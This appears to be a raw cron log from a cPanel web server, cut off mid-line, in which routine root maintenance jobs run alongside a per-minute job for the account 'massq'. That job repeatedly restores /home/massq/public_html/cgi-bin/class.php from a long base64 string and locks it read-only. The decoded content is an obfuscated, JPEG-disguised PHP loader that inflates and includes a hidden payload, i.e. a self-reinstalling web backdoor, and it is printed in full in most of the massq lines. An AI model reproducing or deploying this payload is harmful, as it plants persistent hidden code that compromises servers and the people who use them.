Sep  5 12:59:01 server CROND[15964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:59:01 server CROND[15965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:59:01 server CROND[15966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:00:01 server CROND[16446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:00:01 server CROND[16447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:00:01 server CROND[16451]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 13:00:01 server CROND[16450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:00:01 server CROND[16455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:00:01 server CROND[16449]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:00:01 server CROND[16448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:00:01 server CROND[16452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:00:01 server CROND[16457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:01:01 server CROND[17294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:01:01 server CROND[17295]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 13:01:01 server CROND[17296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:01:01 server CROND[17297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:01:01 server run-parts(/etc/cron.hourly)[17295]: starting 0anacron
Sep  5 13:01:01 server run-parts(/etc/cron.hourly)[17314]: finished 0anacron
Sep  5 13:02:01 server CROND[17731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:02:01 server CROND[17730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:02:01 server CROND[17732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:03:01 server CROND[18097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:03:01 server CROND[18098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:03:01 server CROND[18099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:04:01 server CROND[18470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:04:01 server CROND[18472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:04:01 server CROND[18471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:05:01 server CROND[18965]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 13:05:01 server CROND[18967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:05:01 server CROND[18970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:05:01 server CROND[18972]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 13:05:01 server CROND[18974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:05:01 server CROND[18971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:05:01 server CROND[18969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:05:01 server CROND[18973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:06:01 server CROND[19847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:06:01 server CROND[19848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:06:01 server CROND[19849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:07:01 server CROND[20217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:07:01 server CROND[20218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:07:01 server CROND[20219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:08:01 server CROND[20582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:08:01 server CROND[20581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:08:01 server CROND[20583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:09:01 server CROND[20967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 13:09:01 server CROND[20968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 13:09:01 server CROND[20969]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 13:09:01 server CROND[20970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 13:10:01 server CROND[21347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 13:10:01 server CROND[21348]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 13:10:01 server CROND[21355]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 13:10:01 server CROND[21358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 13:10:01 server CROND[21361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEy